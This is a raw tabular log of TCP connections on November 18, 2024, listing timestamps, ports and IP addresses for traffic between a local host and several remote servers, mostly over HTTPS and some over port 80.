Nov 18, 2024 08:55:38.840929985 CET	443	49817	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:38.841454029 CET	49816	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:38.841480017 CET	443	49816	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:38.841810942 CET	49816	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:38.841816902 CET	443	49816	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:38.874352932 CET	49825	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:38.874373913 CET	443	49825	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:38.874933958 CET	49825	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:38.874942064 CET	443	49825	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:38.961847067 CET	443	49826	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:38.962039948 CET	443	49826	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:38.962119102 CET	49826	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:38.964685917 CET	443	49817	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:38.964749098 CET	443	49815	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:38.964771986 CET	443	49815	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:38.964871883 CET	443	49815	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:38.964876890 CET	49815	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:38.964890957 CET	443	49817	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:38.964935064 CET	49815	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:38.964943886 CET	49817	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:38.967674971 CET	443	49816	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:38.967746019 CET	443	49816	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:38.967803955 CET	49816	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:39.001286030 CET	443	49825	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:39.001358986 CET	443	49825	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:39.001614094 CET	49825	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:39.005254030 CET	49826	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:39.005281925 CET	443	49826	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:39.005297899 CET	49826	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:39.005304098 CET	443	49826	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:39.006700039 CET	49825	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:39.006706953 CET	49817	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:39.006732941 CET	443	49825	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:39.006735086 CET	443	49817	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:39.006756067 CET	49817	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:39.006762981 CET	443	49817	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:39.007556915 CET	49815	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:39.007556915 CET	49815	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:39.007575989 CET	443	49815	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:39.007587910 CET	443	49815	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:39.013493061 CET	49816	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:39.013520956 CET	443	49816	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:39.013556957 CET	49816	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:39.013564110 CET	443	49816	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:39.067780972 CET	49828	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:39.067820072 CET	443	49828	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:39.067950964 CET	49828	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:39.068037987 CET	49829	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:39.068073034 CET	443	49829	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:39.068219900 CET	49829	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:39.069138050 CET	49830	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:39.069149017 CET	443	49830	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:39.069212914 CET	49830	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:39.069441080 CET	49831	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:39.069463015 CET	443	49831	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:39.069612026 CET	49831	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:39.078680038 CET	49828	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:39.078706980 CET	443	49828	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:39.078778028 CET	49829	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:39.078808069 CET	443	49829	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:39.080874920 CET	49832	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:39.080921888 CET	443	49832	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:39.081907034 CET	49832	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:39.082262039 CET	49832	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:39.082278967 CET	443	49832	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:39.084017038 CET	49830	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:39.084028959 CET	443	49830	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:39.084259987 CET	49831	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:39.084273100 CET	443	49831	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:39.136399984 CET	443	49820	94.245.104.56	192.168.2.7
Nov 18, 2024 08:55:39.163801908 CET	49820	443	192.168.2.7	94.245.104.56
Nov 18, 2024 08:55:39.163832903 CET	443	49820	94.245.104.56	192.168.2.7
Nov 18, 2024 08:55:39.164990902 CET	443	49820	94.245.104.56	192.168.2.7
Nov 18, 2024 08:55:39.165075064 CET	49820	443	192.168.2.7	94.245.104.56
Nov 18, 2024 08:55:39.176273108 CET	49820	443	192.168.2.7	94.245.104.56
Nov 18, 2024 08:55:39.176400900 CET	443	49820	94.245.104.56	192.168.2.7
Nov 18, 2024 08:55:39.176809072 CET	49820	443	192.168.2.7	94.245.104.56
Nov 18, 2024 08:55:39.176815033 CET	443	49820	94.245.104.56	192.168.2.7
Nov 18, 2024 08:55:39.247174025 CET	80	49789	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:39.247878075 CET	49789	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:39.254606962 CET	49820	443	192.168.2.7	94.245.104.56
Nov 18, 2024 08:55:39.412425041 CET	443	49820	94.245.104.56	192.168.2.7
Nov 18, 2024 08:55:39.453705072 CET	49820	443	192.168.2.7	94.245.104.56
Nov 18, 2024 08:55:39.487857103 CET	49820	443	192.168.2.7	94.245.104.56
Nov 18, 2024 08:55:39.487899065 CET	443	49820	94.245.104.56	192.168.2.7
Nov 18, 2024 08:55:39.488050938 CET	443	49820	94.245.104.56	192.168.2.7
Nov 18, 2024 08:55:39.488069057 CET	49820	443	192.168.2.7	94.245.104.56
Nov 18, 2024 08:55:39.488106966 CET	49820	443	192.168.2.7	94.245.104.56
Nov 18, 2024 08:55:39.815433979 CET	443	49830	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:39.815646887 CET	443	49831	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:39.817332983 CET	443	49832	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:39.817423105 CET	443	49829	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:39.824671984 CET	443	49828	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:39.931440115 CET	49830	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:39.931622028 CET	49831	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:39.955236912 CET	49832	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:39.955941916 CET	49828	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:39.955967903 CET	49829	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:40.029006004 CET	49828	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:40.029021978 CET	443	49828	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:40.029593945 CET	49828	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:40.029613972 CET	443	49828	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:40.029983044 CET	49830	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:40.029998064 CET	443	49830	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:40.030474901 CET	49830	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:40.030479908 CET	443	49830	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:40.030934095 CET	49831	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:40.030950069 CET	443	49831	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:40.031450033 CET	49831	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:40.031455040 CET	443	49831	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:40.031644106 CET	49832	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:40.031681061 CET	443	49832	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:40.032016039 CET	49832	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:40.032021999 CET	443	49832	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:40.032339096 CET	49829	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:40.032350063 CET	443	49829	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:40.032763958 CET	49829	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:40.032767057 CET	443	49829	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:40.156158924 CET	443	49832	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:40.156240940 CET	443	49832	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:40.156281948 CET	49832	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:40.156817913 CET	443	49831	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:40.157109022 CET	443	49831	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:40.157152891 CET	49831	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:40.157681942 CET	443	49828	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:40.157998085 CET	443	49828	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:40.158044100 CET	49828	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:40.162409067 CET	443	49829	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:40.162486076 CET	443	49829	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:40.162545919 CET	49829	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:40.166553020 CET	49832	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:40.166589975 CET	443	49832	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:40.166604996 CET	49832	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:40.166611910 CET	443	49832	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:40.167691946 CET	49831	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:40.167714119 CET	443	49831	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:40.167727947 CET	49831	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:40.167733908 CET	443	49831	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:40.169076920 CET	443	49830	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:40.169377089 CET	443	49830	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:40.169435024 CET	49830	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:40.170830011 CET	49830	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:40.170860052 CET	443	49830	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:40.170874119 CET	49830	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:40.170880079 CET	443	49830	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:40.172935009 CET	49828	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:40.172950983 CET	443	49828	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:40.172961950 CET	49828	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:40.172966003 CET	443	49828	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:40.173686981 CET	49837	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:40.173717022 CET	443	49837	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:40.173774958 CET	49837	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:40.174424887 CET	49829	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:40.174424887 CET	49829	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:40.174433947 CET	443	49829	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:40.174452066 CET	443	49829	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:40.176707029 CET	49837	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:40.176717997 CET	443	49837	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:40.190082073 CET	49838	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:40.190112114 CET	443	49838	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:40.190174103 CET	49838	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:40.190325975 CET	49838	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:40.190336943 CET	443	49838	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:40.195337057 CET	49839	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:40.195358992 CET	443	49839	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:40.195615053 CET	49839	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:40.195615053 CET	49839	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:40.195636988 CET	443	49839	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:40.217451096 CET	49840	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:40.217489004 CET	443	49840	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:40.217556000 CET	49840	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:40.222726107 CET	49840	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:40.222740889 CET	443	49840	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:40.224280119 CET	49841	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:40.224327087 CET	443	49841	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:40.224381924 CET	49841	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:40.224534035 CET	49841	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:40.224545002 CET	443	49841	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:40.346741915 CET	49789	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:40.347318888 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:40.351608038 CET	80	49789	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:40.352195978 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:40.352286100 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:40.361350060 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:40.361546040 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:40.366432905 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:40.366456032 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:40.366528034 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:40.366544008 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:40.366801977 CET	49845	443	192.168.2.7	40.126.31.69
Nov 18, 2024 08:55:40.366859913 CET	443	49845	40.126.31.69	192.168.2.7
Nov 18, 2024 08:55:40.366933107 CET	49845	443	192.168.2.7	40.126.31.69
Nov 18, 2024 08:55:40.368748903 CET	49845	443	192.168.2.7	40.126.31.69
Nov 18, 2024 08:55:40.368766069 CET	443	49845	40.126.31.69	192.168.2.7
Nov 18, 2024 08:55:40.538301945 CET	49855	443	192.168.2.7	18.244.18.38
Nov 18, 2024 08:55:40.538320065 CET	443	49855	18.244.18.38	192.168.2.7
Nov 18, 2024 08:55:40.538492918 CET	49855	443	192.168.2.7	18.244.18.38
Nov 18, 2024 08:55:40.538916111 CET	49855	443	192.168.2.7	18.244.18.38
Nov 18, 2024 08:55:40.538928986 CET	443	49855	18.244.18.38	192.168.2.7
Nov 18, 2024 08:55:40.919404984 CET	443	49837	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:40.931282043 CET	443	49838	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:40.936288118 CET	443	49839	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:40.945305109 CET	49837	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:40.945348024 CET	443	49837	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:40.945828915 CET	49838	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:40.945864916 CET	443	49838	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:40.946218967 CET	49837	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:40.946228027 CET	443	49837	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:40.946280956 CET	49838	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:40.946290970 CET	443	49838	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:40.949307919 CET	49839	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:40.949326038 CET	443	49839	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:40.949791908 CET	49839	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:40.949796915 CET	443	49839	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:40.955936909 CET	443	49841	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:40.959115982 CET	443	49840	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:40.960866928 CET	49841	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:40.960886955 CET	443	49841	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:40.963068008 CET	49841	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:40.963072062 CET	443	49841	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:40.963222027 CET	49840	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:40.963244915 CET	443	49840	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:40.963670015 CET	49840	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:40.963675022 CET	443	49840	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:41.073817015 CET	443	49838	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:41.073848963 CET	443	49838	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:41.073910952 CET	443	49838	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:41.073913097 CET	49838	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:41.073962927 CET	49838	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:41.074781895 CET	443	49837	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:41.074873924 CET	443	49837	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:41.074928045 CET	49837	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:41.076325893 CET	443	49839	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:41.076483965 CET	443	49839	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:41.076787949 CET	49839	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:41.087513924 CET	49838	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:41.087539911 CET	443	49838	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:41.088440895 CET	443	49841	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:41.088525057 CET	443	49841	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:41.088592052 CET	49841	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:41.089032888 CET	443	49840	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:41.089067936 CET	443	49840	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:41.089118958 CET	49840	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:41.089122057 CET	443	49840	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:41.089160919 CET	49840	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:41.089250088 CET	49841	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:41.089267015 CET	443	49841	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:41.089279890 CET	49841	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:41.089284897 CET	443	49841	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:41.089544058 CET	49840	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:41.089567900 CET	443	49840	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:41.089580059 CET	49840	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:41.089586973 CET	443	49840	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:41.090718031 CET	49837	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:41.090742111 CET	443	49837	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:41.090754986 CET	49837	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:41.090761900 CET	443	49837	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:41.092849970 CET	49839	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:41.092854977 CET	443	49839	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:41.092880964 CET	49839	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:41.092884064 CET	443	49839	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:41.142429113 CET	49858	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:41.142472029 CET	443	49858	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:41.142580986 CET	49858	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:41.145165920 CET	49859	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:41.145205975 CET	443	49859	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:41.145262003 CET	49859	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:41.147757053 CET	49860	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:41.147783995 CET	443	49860	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:41.147903919 CET	49860	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:41.148751020 CET	49861	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:41.148778915 CET	443	49861	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:41.148827076 CET	49861	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:41.150254011 CET	49858	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:41.150269032 CET	443	49858	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:41.150357008 CET	49859	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:41.150372028 CET	443	49859	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:41.151177883 CET	49862	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:41.151177883 CET	49860	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:41.151205063 CET	443	49862	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:41.151221037 CET	443	49860	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:41.151253939 CET	49862	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:41.151354074 CET	49862	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:41.151361942 CET	443	49862	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:41.152057886 CET	49861	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:41.152069092 CET	443	49861	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:41.379684925 CET	443	49855	18.244.18.38	192.168.2.7
Nov 18, 2024 08:55:41.399960995 CET	49855	443	192.168.2.7	18.244.18.38
Nov 18, 2024 08:55:41.399975061 CET	443	49855	18.244.18.38	192.168.2.7
Nov 18, 2024 08:55:41.401099920 CET	443	49855	18.244.18.38	192.168.2.7
Nov 18, 2024 08:55:41.401139021 CET	49855	443	192.168.2.7	18.244.18.38
Nov 18, 2024 08:55:41.406049967 CET	49855	443	192.168.2.7	18.244.18.38
Nov 18, 2024 08:55:41.406116009 CET	443	49855	18.244.18.38	192.168.2.7
Nov 18, 2024 08:55:41.456451893 CET	443	49845	40.126.31.69	192.168.2.7
Nov 18, 2024 08:55:41.456521034 CET	49845	443	192.168.2.7	40.126.31.69
Nov 18, 2024 08:55:41.615324020 CET	443	49855	18.244.18.38	192.168.2.7
Nov 18, 2024 08:55:41.615911961 CET	49855	443	192.168.2.7	18.244.18.38
Nov 18, 2024 08:55:41.778608084 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:41.779354095 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:41.809722900 CET	49865	443	192.168.2.7	162.159.61.3
Nov 18, 2024 08:55:41.809742928 CET	443	49865	162.159.61.3	192.168.2.7
Nov 18, 2024 08:55:41.810508966 CET	49865	443	192.168.2.7	162.159.61.3
Nov 18, 2024 08:55:41.810725927 CET	49865	443	192.168.2.7	162.159.61.3
Nov 18, 2024 08:55:41.810735941 CET	443	49865	162.159.61.3	192.168.2.7
Nov 18, 2024 08:55:41.811033010 CET	49866	443	192.168.2.7	162.159.61.3
Nov 18, 2024 08:55:41.811068058 CET	443	49866	162.159.61.3	192.168.2.7
Nov 18, 2024 08:55:41.811121941 CET	49866	443	192.168.2.7	162.159.61.3
Nov 18, 2024 08:55:41.811249018 CET	49866	443	192.168.2.7	162.159.61.3
Nov 18, 2024 08:55:41.811259031 CET	443	49866	162.159.61.3	192.168.2.7
Nov 18, 2024 08:55:41.832324028 CET	49867	443	192.168.2.7	172.64.41.3
Nov 18, 2024 08:55:41.832343102 CET	443	49867	172.64.41.3	192.168.2.7
Nov 18, 2024 08:55:41.833216906 CET	49867	443	192.168.2.7	172.64.41.3
Nov 18, 2024 08:55:41.833216906 CET	49867	443	192.168.2.7	172.64.41.3
Nov 18, 2024 08:55:41.833242893 CET	443	49867	172.64.41.3	192.168.2.7
Nov 18, 2024 08:55:41.870548010 CET	443	49858	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:41.879825115 CET	49845	443	192.168.2.7	40.126.31.69
Nov 18, 2024 08:55:41.879842997 CET	443	49845	40.126.31.69	192.168.2.7
Nov 18, 2024 08:55:41.880163908 CET	443	49845	40.126.31.69	192.168.2.7
Nov 18, 2024 08:55:41.881707907 CET	49845	443	192.168.2.7	40.126.31.69
Nov 18, 2024 08:55:41.881844997 CET	49845	443	192.168.2.7	40.126.31.69
Nov 18, 2024 08:55:41.881860971 CET	443	49845	40.126.31.69	192.168.2.7
Nov 18, 2024 08:55:41.888885975 CET	443	49859	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:41.889290094 CET	443	49860	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:41.893142939 CET	443	49862	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:41.893446922 CET	443	49861	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:41.931260109 CET	49858	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:41.931273937 CET	49860	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:41.931335926 CET	49859	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:41.963067055 CET	49862	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:42.103337049 CET	443	49861	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:42.103962898 CET	49861	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:42.214376926 CET	49858	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:42.214391947 CET	443	49858	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:42.214804888 CET	49858	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:42.214811087 CET	443	49858	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:42.215908051 CET	49861	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:42.215908051 CET	49861	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:42.215919971 CET	443	49861	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:42.215934038 CET	443	49861	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:42.220479965 CET	49859	443	192.168.2.7	13.107.246.45
